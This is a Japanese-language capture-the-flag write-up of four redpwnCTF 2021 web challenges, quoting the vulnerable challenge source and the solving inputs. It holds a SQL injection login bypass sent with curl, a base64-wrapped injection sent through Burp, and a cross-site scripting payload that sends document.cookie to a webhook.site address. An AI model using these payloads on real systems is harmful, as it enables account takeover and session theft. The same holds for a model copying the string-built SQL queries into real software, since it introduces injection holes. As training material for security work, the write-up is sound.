redpwnCTF 2021: Write up
Web
inspect-me
ソースコードみるだけ
<h2>important updates!</h2> <li>We are working hard to always keep our site as up-to-date and modern as possible!</li> <li>TODO: remove flag from HTML comment</li> <!-- flag{inspect_me_like_123} --> <hr> <div style="display: flex; justify-content: center"> <img src="/welcome.gif" height="200px"/> <img src="/welcome.gif" height="200px"/> <img src="/welcome.gif" height="200px"/> <img src="/welcome.gif" height="200px"/> <img src="/welcome.gif" height="200px"/> <img src="/welcome.gif" height="200px"/> </div>
flag: flag{inspect_me_like_123}
orm-bad
app.js
をみる
const express = require('express'); const sqlite3 = require('sqlite3'); const crypto = require('crypto') const app = express(); app.use(express.urlencoded({extended: true})); app.use(express.static('./public')); app.set('view engine', 'ejs'); const db = new sqlite3.Database(':memory:'); const flag = process.env.FLAG; // yes i know this is callback hell no im not sure if sqlite3 supports promises // and yes this is necessary because of a race condition on program start db.run("CREATE table IF NOT EXISTS users (username text, password text)", () => { db.all("SELECT * FROM users WHERE username='admin'", (err, rows) => { if (err) { throw err; } else if (rows.length == 0) { // generate random admin password crypto.randomBytes(32, (err, buf) => { // if you managed to make this error you deserve it if (err) { throw err; } db.all("INSERT INTO users VALUES ('admin', $1)", [buf.toString('hex')]); console.log("Admin password: " + buf.toString('hex')); }); } }) }); app.get('/', (req, res) => { return res.render("index.ejs", {"alert": req.query.alert}); }) app.post('/flag', (req, res) => { db.all("SELECT * FROM users WHERE username='" + req.body.username + "' AND password='" + req.body.password + "'", (err, rows) => { try { if (rows.length == 0) { res.redirect("/?alert=" + encodeURIComponent("you are not admin :(")); } else if(rows[0].username === "admin") { res.redirect("/?alert=" + encodeURIComponent(flag)); } else { res.redirect("/?alert=" + encodeURIComponent("you are not admin :(")); } } catch (e) { res.status(500).end(); } }) }) app.listen(80, () => console.log('Site listening on port 80'));
app.post('/flag', (req, res) => { db.all("SELECT * FROM users WHERE username='" + req.body.username + "' AND password='" + req.body.password + "'", (err, rows) => {
この部分でSQL injectionがつかえそう
$ curl -d "username=admin' OR 1=1--" -X POST 'https://orm-bad.mc.ax/flag' Found. Redirecting to /?alert=flag%7Bsqli_overused_again_0b4f6%7D%
flag: flag{sqli_overused_again_0b4f6}
pastebin-1
<script>fetch(`https://webhook.site/ed47e9ba-15d5-49b1-a675-670228228f65/${document.cookie}`);</script>
https://webhook.site/ed47e9ba-15d5-49b1-a675-670228228f65/flag=flag%7Bd1dn7_n33d_70_b3_1n_ru57%7D
flag: flag{d1dn7_n33d_70_b3_1n_ru57}
secure
index.js
const crypto = require('crypto'); const express = require('express'); const db = require('better-sqlite3')('db.sqlite3'); db.exec(`DROP TABLE IF EXISTS users;`); db.exec(`CREATE TABLE users( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password TEXT );`); db.exec(`INSERT INTO users (username, password) VALUES ( '${btoa('admin')}', '${btoa(crypto.randomUUID)}' )`); const app = express(); app.use( require('body-parser').urlencoded({ extended: false, }) ); app.post('/login', (req, res) => { if (!req.body.username || !req.body.password) return res.redirect('/?message=Username and password required!'); const query = `SELECT id FROM users WHERE username = '${req.body.username}' AND password = '${req.body.password}';`; try { const id = db.prepare(query).get()?.id; if (id) return res.redirect(`/?message=${process.env.FLAG}`); else throw new Error('Incorrect login'); } catch { return res.redirect( `/?message=Incorrect username or password. Query: ${query}` ); } }); app.get('/', (req, res) => { res.send(` <div class="container"> <h1>Sign In</h1> <form> <label for="username">Username</label> <input type="text" name="username" id="username" /> <label for="password">Password</label> <input type="password" name="password" id="password" /> <input type="submit" value="Submit" /> </form> <div class="important">${(req.query.message ?? '') .toString() .replace(/>|</g)}</div> </div> <script> (async() => { await new Promise((resolve) => window.addEventListener('load', resolve)); document.querySelector('form').addEventListener('submit', (e) => { e.preventDefault(); const form = document.createElement('form'); form.setAttribute('method', 'POST'); form.setAttribute('action', '/login'); const username = document.createElement('input'); username.setAttribute('name', 'username'); username.setAttribute('value', btoa(document.querySelector('#username').value) ); const password = document.createElement('input'); password.setAttribute('name', 'password'); password.setAttribute('value', btoa(document.querySelector('#password').value) ); form.appendChild(username); form.appendChild(password); form.setAttribute('style', 'display: none'); document.body.appendChild(form); form.submit(); }); })(); </script> <style> * { font-family: 'Segoe UI', Roboto, 'Helvetica Neue', sans-serif; box-sizing: border-box; } html, body { height: 100%; margin: 0; } .container { padding: 2rem; width: 90%; max-width: 900px; margin: auto; } .important { color: red; } input:not([type='submit']) { width: 100%; padding: 8px; margin: 8px 0; } input[type='submit'] { margin-bottom: 16px; } </style> `); }); app.use(function (err, req, res, next) { console.error(err); req.destroy(); }); app.listen(3000);
const query = `SELECT id FROM users WHERE username = '${req.body.username}' AND password = '${req.body.password}';`;
const username = document.createElement('input'); username.setAttribute('name', 'username'); username.setAttribute('value', btoa(document.querySelector('#username').value) ); const password = document.createElement('input'); password.setAttribute('name', 'password'); password.setAttribute('value', btoa(document.querySelector('#password').value) );
POSTするときにbase64でエンコードされちゃうのでBurp Suiteを使ってリクエストを書き換える。
username=YWRtaW4%3D%27%20OR%20%27A%27%3D%27A&password=dW5rbw%3D%3D
でPOSTする。
<p>Found. Redirecting to <a href="/?message=flag%7B50m37h1n6_50m37h1n6_cl13n7_n07_600d%7D">/?message=flag%7B50m37h1n6_50m37h1n6_cl13n7_n07_600d%7D</a></p>
flag: flag{50m37h1n6_50m37h1n6_cl13n7_n07_600d}